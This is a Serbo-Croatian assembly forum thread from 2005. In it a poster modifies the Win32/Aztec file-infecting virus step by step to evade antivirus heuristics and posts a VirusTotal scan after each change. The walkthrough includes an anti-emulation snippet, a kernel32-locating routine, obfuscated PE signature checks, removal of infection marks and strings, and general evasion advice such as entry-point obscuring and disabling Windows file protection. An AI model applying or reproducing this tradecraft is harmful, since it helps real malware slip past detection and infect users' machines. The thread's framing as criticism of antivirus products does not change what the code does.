Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

anti-emu tips'n'tricks

[es] :: Asembler :: anti-emu tips'n'tricks

Strane: 1 2

[ Pregleda: 11893 | Odgovora: 31 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: anti-emu tips'n'tricks11.02.2005. u 07:08 - pre 233 meseci
Bloodhound.W32.2

Citat:
The virus name Bloodhound.W32.2 is used exclusively by Symantec antivirus products when a potentially unknown virus is found using Symantec Bloodhound technology. Bloodhound technology consists of heuristic algorithms that are used to detect unknown viruses. The actual file that is detected under Bloodhound.W32.2 is likely to be infected with a new Win32 file-infecting virus.


Citat:
Bloodhound.W32.2 is detected only in Portable Executable (PE) files. Such viruses might be able to replicate on Windows 95, 98, Me, NT, 2000, and XP systems. Bloodhound.W32.2 can detect different types of viruses, including some difficult polymorphic or metamorphic viruses.




Mirror, mirror, on the wall, what's the stupidest AV heuristics of them all?



Code:

MSH>cat nort.asm
              p586
              model  flat

              .data

              db ?

              .code

t:            push          eax
              div           ecx
              pop           eax
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              movzx         eax, word ptr [edi+06h]
              dec           eax
              imul          eax, eax, 28h
              add           esi, 78h
              mov           edx, [edi+74h]
              shl           edx, 3
              mov           edx, [esi+10h]
              mov           eax, [esi+0Ch]

              push          eax
              div           ecx
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              or            dword ptr [esi+24h],0A0000020h

end           t
MSH>.\nort.bat

C:\TASM\test>del nort.bin

C:\TASM\test>tasm32 /ml /m3 nort,,;
Turbo Assembler  Version 5.3  Copyright (c) 1988, 2000 Inprise Corporation

Assembling file:   nort.ASM
Error messages:    None
Warning messages:  None
Passes:            1


C:\TASM\test>tlink32 /Tpe /aa /c /v nort,nort,,import32.lib,
Turbo Link  Version 1.6.71.0 Copyright (c) 1993,1996 Borland International
Warning: Debug information enabled, but no debug information found in OBJs

C:\TASM\test>pewrsec nort.exe
PEWRSEC - Sets the WRITE bit to a PE section - (c) 1997 jqwerty/29A

Ok

C:\TASM\test>rename nort.exe nort.bin

C:\TASM\test>sendmail c:\tasm\test\nort.bin
Datoteka uspješno poslana!
MSH>

(sad u gmail se prebacim):

Scan results
File: nort.bin
Date: 02/11/2005 08:03:37 (GMT+1)

- Hide quoted text -
----
AntiVir 6.29.0.11/20050210      found nothing
AVG     718/20050210    found nothing
BitDefender     7.0/20050210    found nothing
ClamAV  devel-20050130/20050210 found nothing
DrWeb   4.32b/20050210  found nothing
eTrust-Iris     7.1.194.0/20050210      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050211   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050211       found nothing
NOD32v2 1.996/20050210  found nothing
Norman  5.70.10/20050207        found nothing
Panda   8.02.00/20050210        found nothing
Sybari  7.5.1314/20050211       found nothing
Symantec        8.0/20050210    *****found [Bloodhound.W32.2]*****



U biti sam skužio kako zaobići heruistike svakog od njh na testu, ovo sa Symantecom je samo sprdnja :> U biti mogu napraviti false positive generator za svaki AV :>

Tut stiže većeras ili....kad uhvatim slobodnog vremena. Ovako loši proizvodi zaslužuju jednu poštenu demistifikaciju.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon Re: anti-emu tips'n'tricks11.02.2005. u 15:16 - pre 233 meseci
Znaci sugavi Symantec je pobednik?!!?!?
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: anti-emu tips'n'tricks11.02.2005. u 16:37 - pre 233 meseci
Au contraire mon ami, Symantec je najgluplji od svih :)
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon Re: anti-emu tips'n'tricks11.02.2005. u 16:55 - pre 233 meseci
haha vidim volis Herkula Poaroa =))))

 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: anti-emu tips'n'tricks12.02.2005. u 06:51 - pre 233 meseci
U ovom ću kratkom članku (za dužu verziju tko plati više :) pokazati kakvo su s***** današnji AV i kako su primitivne njihove so-called generičke zastite za viruse za koji još ne postoje definicije, u narodu poznate kao heuristike.

Za primjerak sam odabrao klasiku, old skul primjerak PE infektora - Win32/Aztec virus iz poznatog tutoriala Billy Belcebu-a Billy Belcebu Virus Writing Guide 1.00 for Win32. Taj tutorial je star...prilično, i predstavlja jedan od prvih tutoriala kako pisati Win32 viruse. U to vrijeme nije bilo puno dokumentacije, ljudi nisu puno znali o windows internals pa su se snalazili kako mogu :>

E sad se malo pozabavimo Win32/Aztec. Aztec je klasičan PE infektor, praktički najelementarniji i najjednostavniji mogući virus koji se može napisat. Neke od tehnika koje Billy opisuje i koristi u svome tutorialu su obsoletne, te su danas pronađeni sigurniji i bolji ekvivalenti. Aztec je virus koji i dan dana ima hrpicu varijacija - budući da je Billy-ev tut praktički početnica za Win32 viruse, svaki 'aker početnik napravi neku svoju verziju koja se malo razlikuje od dotičnog virusa. Recimo ne inficira datoteke u Windows direktoriju, nego u Program Files :))) Šala. Evo i dan danas (11.2.2005), gledam dnevni update od NOD32, i sto to vidim: Win32/Aztec.1344, Win32/Aztec.1356 :))

Dakle, šta radi ovaj Aztec.

-> Kad se pokrene prvo na klasičan način računa delta offset
-> Nakon toga traži bazu u memoriji od kernel32.dll tako što koristi SEH-zaštićenu petlju, spuštajući se po 10 page-va u odnosu na adresu iz koje virus pozvan u memoriji
-> Nakon toga traži adrese API-ja koji su mu potrebni tako sto parsira export tablicu kernel32.dll. Imena API-ja su pohranjeni kao statički stringovi
-> Nakon toga sprema u sebe stringove koji predstavljaju Windows direktorij, sistemski direktorij i trenutni direktorij
-> Nakon toga u petlji u svakom od tih direktorija inficira po 5 datoteka sa maskom "*.exe"
-> Rutina za inficiranje je klasika: MMF + potpis u jednom od rezerviranih polja PE headera, stavlja svoj potpis "AZTC" čime označava već inficirane datoteke kako se nebi dogodila višestruka infekcija
-> Inficirane datoteke e imati entrypoint preusmjeren na tijelo virusa koje je pridodano zadnjoj sekciji, kojoj je usto postavljen +w atribut.

Dakle, sve u svemu klasika. Danas, da netko piše virus, malo bi što koristio od gore navedenog:

-> Delta offset se računa u letu, ili ga daje inficirani domaćin, ili se uopće ne oduzima onaj "offset delta" čime se dobijaju manji opkodi i smanjuju zastavice za heuristike
-> Adresa kernel32.dll se u 4 instrukcije vadi iz PEB-a
-> Adrese API-ja se pohranjuju kao neki jednostavni hashevi (CRC32, Adler-32, neki glupi rot + shift algo...)
-> Ne inficiraju se sistemske datoteke bez da se prethodno ne isključi SFP/WFP, jer ih win po defaultu vrati čim se oni promijene. Osim toga, nadgleda ih i većina AV.
-> MMF se još uvijek koriste, ali potpisi se ne ostavljaju preko nekih takvih očitih signatura koje se mogu vidjeti u hex editoru. Obično se provjerava da li je aktivan mutex/postoji globalni atom/da li je dužina datoteke modulo <neki broj> = magičan broj/umetni matematički što perverzniji algoritam iz teorije brojeva po želji, tj. nešto puuuno manje sumnjivo, tj. nešto sto se moze odrediti tek @ runtime, a ne za vrijeme statičke analize koda :)
-> NE INFICIRA se zadnja sekcija osim ako se baš i ne mora :) POGOTOVO se entrypoint prve instrukcije programa ne preusmjerava u nju. Ako se inficira zadnja sekcija, koristi se EPO za redirekcju kontrolnog toka izvođenja, a ne redirekcija OH_AddressOfEntryPoint polja. I zaražena sekcija nema IMAGE_SCN_MEM_WRITE bit postavljen, već se u letu mijenjaju permisije page-eva s VirtualProtectEx, ili se tijelo virusa kopira na stog koji je obicno (gle čuda :) writable. Mada na novijim procesorima sa NX/EDB bitom + DEP neće biti executable, ali njih rijetko tko ima danas :>>>

Dakle, manje više se u tih 5-6 godina koliko je ovaj virus star sve živo promijenilo :)

Ono....trebali bi ga svi AV detektirati kao od šale. Dakle što dobijemo skeniranjem korištenjem virustotal servisa:

Code:

Scan results
File: aztec.bin
Date: 02/12/2005 03:02:37 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W95/Aztec-1344]
AVG     718/20050210    found [W95/Iced.1344]
BitDefender     7.0/20050211    found [Win32.Aztec]
ClamAV  devel-20050130/20050211 found [W95.Iced.1344]
DrWeb   4.32b/20050211  found [modification of Win32.Belcebu.1376]
eTrust-Iris     7.1.194.0/20050212      found [Win32/Aztec.1344]
eTrust-Vet      11.7.0.0/20050211       found [Win32.Iced.1344]
Fortinet        2.51/20050212   found [W32/Aztec.1344]
F-Prot  3.16a/20050210  found [W32/Aztec.1344]
Kaspersky       4.0.2.24/20050212       found [Virus.Win9x.Iced.1344]
NOD32v2 1.997/20050211  found [Win32/Aztec.1344]
Norman  5.70.10/20050211        found [W32/Iced.1344]
Panda   8.02.00/20050211        found [W95/Iced.1344]
Sybari  7.5.1314/20050212       found [W95/Iced.1344]
Symantec        8.0/20050211    found [W32.Iced.1344]


Dakle svi ga detektiraju manje-više. Billy veli da je Aztec nastao kao varijacija Iced virusa, pa ga neki i kao takvog imaju u bazi :>

E sad se počnimo igrati. Kao što sam spomenuo na samom početku ove teme, imamo jedan uberkul komadić koda koji ide ovako:

Code:

anti_emu           equ     <dd 0FF04C033h,75C00B48h,0F40174FBh>


Šta ovaj komadić koda radi, pročitajte na početku ove teme :>

U biti je kod jaaaaako, jaaaako glup. Općenito se anti-emu forice sastoje od nekih trikova kod kojih će emulator "krivo pretpostaviti" šta kod radi. U ovom slučaju su krivo procijenili petlju, pa su pretpostavili da će se izvršiti hlt instrukcija koja će, pošto se program izvodi pod ring3, uzrokovati iznimku i emulacija će se završiti.

Druge, općenite, cake su sl. ovoj i općenito se sastoje od eksploatiranja nedostatatka znanja AV-a o okolini u kojoj se virus izvodi. Recimo, korištenje nedokumentiranih memorijskih lokacija (PEB/TEB je idealan!, mogu i neki dijelovi sistemskih DLL-ova..), caka vezanih za pojedini OS (recimo cs selektor, njegova pretpostavljena vrijednost na NT familiji) koje se mogu iskoristiti za generiranje grananja koda, prije AV nisu dobro emulirali retf (far return), pa ako bi radio push offset func, push cs, retf - ne bi skužio :> ....poanta je napraviti što VIŠE takvih potencijalno nepoznatih grananja, sa što vise slijepih ulica, kako bi AV jako teško "upiknuo" onu pravu.

AV je vremenski i resursima jako ograničen pri analizi pojedine datoteke. Također, svaka heuristika je kao mini virtualna mašina - zna PUNO toga o detaljima OS-a kojeg emulira, ali ne zna SVE, tj. postoje rupice koje virus može eksploatirati kako bi izbjegao život u matrixu :) U biti su heuristike baš to -> OS so real that you wouldn't know the difference between the emuOS and the realOS...............you think that's the memory you're reading? :>>>

Enivej, takvi se nedostaci odavno iskorištavaju prije svega za EPO. Zamislite da virus zarazi neki program sa kompleksnim GUI-em (a koji to danas na win nije :)...virus recimo patcha DefWndProc handler za, recimo, neku specifičnu WM_* poruku...emulator se konkretno u ovom slučaju može hebat. Zato jer naravno nema resursa/vremena na raspolaganju da emulira cijelu logiku izvođenja sve do tog konkretnog dijela koda.

Zato su neki AV pomalo glupi. Ustvari jako glupi :) U biti imaju predefiniranu bazu "sumnjivog" koda, te parsaju sekciju za kod i u potrazi za tim "sumnjivim" snippetima, te ako ih ima dovoljan broj, oglase zvona za uzbunu. Nedostatak tog pristupa kod kojeg nema dubinske analize kontrolnoga toka jest što je jaaako podložan generiranju FP (False Positive), te neće raditi za bilo koji inteligentnije kriptirani kod (koji standardni, glupi x-raying ne može penetrirati, recimo sa klizećim XOR ključem baziranim na kongruentnom modelu). Koliko je ta metoda s*****, pokazao sam već na Symatecovim "heuristikama" koje ju koriste, i na onom 20-instruction so-called virusu :))))

Daklem, da počnemo...

Umentimo anti_emu snippet kao makro odmah na sam početak virusa...dovoljno je jednom. I to ovako:

Code:

virus_start     label   byte

aztec:  anti_emu
        pushad                                  ; Push all the registers
        ...


Code:

Scan results
File: aztec.bin
Date: 02/12/2005 04:33:17 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [Heuristic/Virus.Win32]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found [Win32.Aztec]
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found [Win32.Iced.1344]
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [Win32/Aztec.1356]
Norman  5.70.10/20050211        found [W32/FileInfector]
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found [W32/NGVCK]
Symantec        8.0/20050211    found [Bloodhound.W32.2]


I padoše ih....POLA!

Redom: AVG, ClamAV (uvijek sam govorio koliko je OSS nekvalitetan :), DrWeb, eTrust-Iris, Fortinet, F-Prot, Kaspersky. Skoro pa pola :)

Od ostalih ih preko signature detektiraju BitDefender, NOD32v2 i eTrust-Vet, ostali ih preko heuristika nalaze. Zanimljiv je Sybari-ev rezultat koji ga prijavljuje kao spawn NGVCK kita za kreiranje virusa!

Mislim....smiješno....AV koji tvrde da imaju heuristiku, a nisu u stanju emulirati i najobičniju kvazibeskonačnu petlju!! Get Real!!!!!

Također, za f-prot mala zamjerka, pošto će kasnije on nakon nekih modifikacija OPET prijavljivati infekciju. Ali otom potom :)

Sljedeći korak pri modificiranju ovog školskog primjerka virusa jest bila zamjena GetK32 fje sa novijom, modernijom varijantom. Više nije potrebno trošiti skupe CPU cikluse brutforsajući memoriju, već elegantno kombiniramo informacije iz PEB-a. Nisam stavio onu direktnu, kratku verziju, već jednu malo modificiraniju, koju sam sam napisao za svoje potrebe. Moja verzija te fje prvo testira nekoliko već poznatih baza kernel32.dll, nakon toga pokušava iskoristiti PEB, pa tek u krajnjem slučaju poziva onu povratnu adresu sa stoga pa brutforsa. U svakom slučaju ima da radi, na ovaj ili onaj način :) Ta fja izgleda ovako (umjesto defaultne GetK32):

Code:

GetK32:              
            call    __tab                    ; kernel imagebase table for different versions of vindoze:
            dd    077E00000h                ; NT/W2k
            dd    077E80000h                ; NT/W2k
            dd    077ED0000h                ; NT/W2k
            dd    077F00000h                ; NT/W2k
            dd    0BFF70000h                ; 95/98
            dd    077E60000h                ; XP home
            dd    0BFF60000h                ; Me

__tab:            pop    esi
            push    7
            pop    ebx                    ; ebx = counter

__nxt_base:        dec    ebx
            lodsd                        ; take one imagebase
            call    _krnl_check                ; and check it
            jecxz    __got_kernel

            test    ebx, ebx                ; check table end
            jnz    __nxt_base

            mov    eax, fs:[TEB_PEB]            ; take ptr to PEB
            test    eax, eax                ; > 80000000h ?
            js    __PEB_try                ; !NT
    
                   mov    eax, [eax.PEB_PebLdrData]
            mov    esi, [eax.PEB_LDR_InInitOrderModuleList.LE_Flink]
            lodsd                        ; go to second entry
             mov    eax, [eax.LDR_ModuleBase-LDR_InInitializationOrderLdrEnt.LE_Flink]
            call    _krnl_check

            jecxz    __got_kernel
            
__PEB_try:        call    __PEB_x
            mov     esp,[esp.EH_EstablisherFrame]        ; set SEH frame manually
            jmp    __PEB_failed
__PEB_x:        xor    eax, eax
            push    dword ptr fs:[eax]
            mov    fs:[eax], esp
            mov    eax, fs:[TEB_PEB]                   ; *PEB
            mov    eax, [eax+34h]
            mov    eax, [eax+0b8h]                ; now eax should be kernel's imagebase
            call    _krnl_check
__PEB_failed:        @SEH_RemoveFrame
            jecxz    __got_kernel
            
__rec_scan:        mov    eax, [esp.(2*Pshd).Arg1.cPushad]    ; take kernel return address. skip pushad, SEH and one call
            and    eax, -1 shl 16                ; align to 10 pages
            add    eax, 2 shl 15                ; add 10 pages

__1:            sub    eax, 2 shl 15                ; and loop per 10 pages
            call    _krnl_check
            jecxz    __got_kernel

            jmp    __1                    ; we r gonna find that bloody kernel :)

__got_kernel:        ret

_krnl_check:        mov    ecx, eax                ; gotta set ecx so that we can return true
            pusha

            call    __temp
            mov    esp, [esp.EH_EstablisherFrame]        ; set SEH manually
            jmp    __end_k

__temp:            xor    edx, edx
            push    dword ptr fs:[edx]
            mov    fs:[edx], esp

            mov    edx, [eax.MZ_lfanew]            ; take RVA to PE header
            mov    ebx, [edx+eax]               ; check PE signature
            xor    ebx, 'SUN'                ; indirectly
            sub    ebx, IMAGE_NT_SIGNATURE xor 'SUN'    ; lil sig
            jnz    __end_k

            cmp    eax, [edx+ecx.NT_OptionalHeader.OH_ImageBase]    ; check the predefined imagebase
            jnz    __end_k

            xor    ecx, ecx                ;no kernel for us :(

__end_k:        @SEH_RemoveFrame
            mov    [esp.Pushad_ecx], ecx
            popa
                     
__end:            retn


Nakon toga opalih sken:

Code:
  
AntiVir 6.29.0.11/20050209      found [Heuristic/Virus.Win32]
AVG     718/20050207    found nothing
BitDefender     7.0/20050209    found [Win32.Aztec]
ClamAV  devel-20050130/20050210 found nothing
DrWeb   4.32b/20050209  found nothing
eTrust-Iris     7.1.194.0/20050210      found nothing
eTrust-Vet      11.7.0.0/20050210       found [Win32.Iced.1344]
Fortinet        2.51/20050209   found nothing
F-Prot  3.16a/20050208  found nothing
Kaspersky       4.0.2.24/20050210       found nothing
NOD32v2 1.995/20050210  found [probably unknown WIN32 virus]
Norman  5.70.10/20050207        found [W32/FileInfector]
Panda   8.02.00/20050209        found [Suspect File]
Sybari  7.5.1314/20050210       found [W32/NGVCK]
Symantec        8.0/20050210    found [Bloodhound.W32.2]


Kao što vidimo gotovo se ništa nije promijenilo. Čini se da su dotični AV otporni na ovakve cake, ili da su detekcije bazirane na nekoj sekvenci koda koja se dogodila prije poziva GetK32 procedure. NOD32v2 sad virus ne detektira preko signature, već preko heuristika.

Sljedeće što nam je na umu jest maknuti sve baš statičke karakteristike ovog virusa. Payload je u vx terminologiji ono što virus radi (recimo destruktivan payload - brisanje hard diska, konstruktivan payload - 29a logo za bootanja mašine :) E pa payload ove bebe jest običan Message Box za vrijeme prve generacije, i njega brišemo:

Code:

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0


Nadalje, u tijelu virusa je ostavljen "potpis", i njega mičemo:

Code:

mark_   db      "[Win32.Aztec v1.01]",0
           db      "(c) 1999 Billy Belcebu/iKX",0


Dakle totalno trivijalne stvari. Par statičkih stringova, i to je to. Reasemblirarm i analiziram:

Code:
  
Scan results
File: aztec.bin
Date: 02/12/2005 04:56:11 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W32/Aztec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found [could be infected with an unknown virus]
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [probably unknown WIN32 virus]
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Padoše redom: BitDefender, eTrust-Vet, Norman i Sybari. Mislim.....koja bruuuuuuka. A sve što sam uradio jest izbrisao par stringova :> Mislim, mogao sam uzeti i hex editor i prebrisati ih sa "U STUPID AV" stringom :)))

Stvarno smiješno......Eto, zasad samo AntiVir detektira preko signature, a još nisam ni počeo nešto što bi se pod normalnim okolnostima moglo nazvati "sakrivanje" podataka/koda od heuristika.

Nakon toga sam primjenio Mikky-ev savjet, te izmjenio pri računanju delta offseta onaj:

Code:

        call    delta             
delta:  pop     ebp
        mov     eax,ebp


u:

Code:

        call    delta   
delta:  mov    ebp, [esp]
        add    esp, 4
        mov     eax,ebp


Pri čemu je pao:

Code:
  
Scan results
File: aztec.bin
Date: 02/12/2005 05:15:05 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W32/Aztec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [probably unknown WIN32 virus]
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


f-prot :))

Moram napomenuti da mi je jučer već bio otpao i AntiVir do ove točke (u biti na prošloj). Izgleda da ovaj virustotal SURAĐUJE SA ANTIVIRUSNIM KOMPANIJAMA TAKO ŠTO IM PROSLJEĐUJE PRIMJERKE!

Đubre jedno.

Idemo dalje. Dosta je bilo dječjih igara (iako se čini da su većina testiranih heuristika baš to - dječja igra), vrijeme je za pravu akciju. Napravljene su sljedeće izmjene (neću pejstat sve kodove pošto je puno izmjena, šaljem na mejl na zahtjev):

- maknute su Aztecove obsoletne i implementirane vlastite procedure za traženje adresa API-ja, ovaj put preko hash tablice a ne preko stringova, maknuti SVI statički stringovi u kodu

- maknut infection mark:

Code:

       mov     dword ptr [edi+4Ch],"CTZA"      ; Put infection mark


- x_push makro za ".EXE" (tj. EXE_MASK), z0mbijev makro koji on-the-fly generira zadani string na stogu + x_pop za poravnanje esp

- OpenFile procedura inline-irana -> NOD32 mijenja prijavu u: NOD32v2 1.995/20050210 found [probably modified virus Win32/Highway.C (WIN32) [7]] ludnica :))

- inline-irane su - TruncFile, MapFile, CreateMap, Align procedure

- Umetanjem hlt instrukcije pri samom počcetku virusa ostaje jednaka detekcija kod svih, iz čega možemo zaključiti da se emulacija nastavlja čak i ako je došlo do greške kod nekih instrukcija. Sad više nije u igri obsfukacija kontrolnog toka, već micanje broja zastavica za sumnjive dijelove koda. Mada, čini se, postoji OGROMNA razlika u načinu kako je to implementirano kod nekih proizvoda. Recimo, ako unesem BAŠ SRANJA od instrukcija, recimo direktan poziv na ExitProcess i sl. nebuloze, jedino će Symantec davati FP, što će reći da kod ostalih heuristika postoji neka vrsta tolerancije prema potencijalnim junk instrukcijama, pogotovo jednobajtnim.

- novi kod za delta offest:

Code:

        call    delta                  
delta:  
       mov    esi, esp
       lodsd
       mov   ebp, eax
       call  $+5
       add    esp, 8
       
;      mov     eax,ebp
       sub     ebp,offset delta


Ništa komplicirano, samo hrpa izmjena kako bismo malo modernizirali virus :) Evo rezultata:

Code:

Scan results
File: aztec.bin
Date: 02/12/2005 05:32:11 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found nothing
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [probably unknown WIN32 virus]
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Odoše f-prot i AntiVir :)) Eh šta ti je kad su ti heuristike hrpa govana....

Sad mogu reći da samo Panda, Nod32 (i f-prot, ovisi kako mu šune :) imaju nešto što se može nazvati heuristikama. Ostalo su sve marketinški nabumbani proizvodi koji LAŽU svojim mušterijama o podršci detekcije još nepoznatog malware-a. Ako nisu uspjeli detektirati ovako TRIVIJALNO modificirani virus otvorenog koda, star 5 god, onda im od heuristike ne ostaje ni h.

Nakon toga su napravljene u kodu sljedece preinake, pri cemu mi je cilj bio sto "opcenitija" definicija virusa:

- izmjenjen dio koda nakon delta offseta, ebx preuzeo ulogu delta registra (prije bio ebp):

Code:

        sub     ebp,offset delta
        mov     ecx, shit_size-1
        sub     eax, ecx    ;shit_size                   ; Obtain the Image Base on 
        dec     ecx
        sub     eax,00001000h                   ; the fly
NewEIP  equ     $-4
       
        mov      ebx, ebp
        mov     dword ptr [ebx+ModBase],eax


- maknuti svi viškovi koda uzrokovani prethodnim dodavanjima..

- inline-irane su procedure: PrepareInfection, InfectAll

- ebp->ebx sve do kraja koda, i u dijelu za infekciju, dodana privremena varijabla temp

- obsfukirana provjera za "PE" signaturom u infekcijskoj proceduri -> pao nod32!

Code:

      add     esi,eax
        lodsd
        sub   esi, 4
        xor     eax, 'SUN'
        sub      eax, IMAGE_NT_SIGNATURE xor 'SUN'
        ;cmp     dword ptr [esi],"EP"            ; Is it PE?
        jnz     NoInfect


Code:

AntiVir 6.29.0.11/20050211      found [W32/Latzec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found nothing
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Rezultat koji prijavljuje AntiVir zanemarimo, jer mi ovaj isti virus prije 2 dana nije detektirao. Njegova trenutna detekcija je 99.99% rezultat suradnje sa virustotal servisom preko kojeg je ovaj sken obavljen :>

Idemo dalje.

- Panda je izgleda opušila na komentiranju hardcoded adresa kernela:

Code:

;            call    __tab                    ; kernel imagebase table for different versions of vindoze:
;            dd    077E00000h                ; NT/W2k
;            dd    077E80000h                ; NT/W2k
;            dd    077ED0000h                ; NT/W2k
;            dd    077F00000h                ; NT/W2k
;            dd    0BFF70000h                ; 95/98
;            dd    077E60000h                ; XP home
;            dd    0BFF60000h                ; Me
;
;__tab:            pop    esi
;            push    7
;            pop    ebx                    ; ebx = counter
;
;__nxt_base:        dec    ebx
;            lodsd                        ; take one imagebase
;            call    _krnl_check                ; and check it
;            jecxz    __got_kernel
;
;            test    ebx, ebx                ; check table end
;            jnz    __nxt_base


Code:

Scan results
File: aztec.bin
Date: 02/12/2005 06:15:41 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W32/Latzec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found nothing
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found nothing
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Ode i glupa Panda. NOD32 je bar umro časno -> nije prepoznao modificiranu verziju cmp instrukcije :) Ovaj dio koda koji sam maknuo za Pandu je ionako star i nepotreban, služi samo za ubrzavanje procedure. Bio sam ga napisao kad sam pravio (prvi!) generički win32 shellcode, 2 mjeseca prije nego što je neke njegove dijelove rippala ona đubrad iz LSD :> Tad još PEB trik nije bio siguran, pa se sve koristilo :>

Ovaj glupavi AntiVir opet zanemarimo, jer, kao što rekoh, jučer nije ništa prijavljivao. Hebeni virustotal, sunce mu hebem, neću više ništa na njega slati :>>>> Uostalom, kao što se vidi, ne rade mu heuristike, već neka fixna signatura koju bih, da mi se sad da (a ne da), maknuo vjerojatno komentiranjem/mijenjanjem par instrukcija :>

E sad je ostao još samo Symantec. Symantec je specifična priča. Radi se o ultimativnom đubretu od heuristika. Zašto? Zato jer ovaj:

Code:

              push          eax
              div           ecx
              pop           eax
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              movzx         eax, word ptr [edi+06h]
              dec           eax
              imul          eax, eax, 28h
              add           esi, 78h
              mov           edx, [edi+74h]
              shl           edx, 3
              mov           edx, [esi+10h]
              mov           eax, [esi+0Ch]

              push          eax
              div           ecx
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              or            dword ptr [esi+24h],0A0000020h


komadič koda prijavljuje kao "virus" ! Taj sam komadić koda dobio micanjem "viškova" sa originalnog virusa. Naravno da je ovaj komadić koda bezopasan i da ništa ne radi. I što je najbolje, RUŠI SE kad se pokrene. Zanimljivi su ovi dijelovi: Prvi i treći su standardni snippeti za align sekcije nakon što joj je dodano tijelo virusa, drugi je dio u kojem se uzima RVA posljednje sekcije u eax, pod pretpostavkom da su esi i edi adrese PE headera, dok je zadnji dio postavljanje read i write bitova na atribute te sekcije. Divan virus, nema šta :) E ove iz Symanteca treba osobito naklepat :))

Zaključak

Mislite da ste sigurni ako imate najnovijeg Nortona? Ako vas na taskbaru čuva Pandina šapica? E pa niste. Barem ne od klasičnih virusa koji su divljini. A kamoli od opskurnog malware-a koji profiji pišu po narudžbi. Panda, f-prot, NOD32 su pobjednici. Crveni karton dobiva Symatec zbog FP na "virus" od 20 instrukcija. Ostalo sve srednja žalost. Tj. s*****. Imam neki osjećaj da ako sad napišem neki FP fuzzer i pošsaljem ga Virus Bulletin, nijedan AV u sljedećem broju ne bi imao 100% :)))

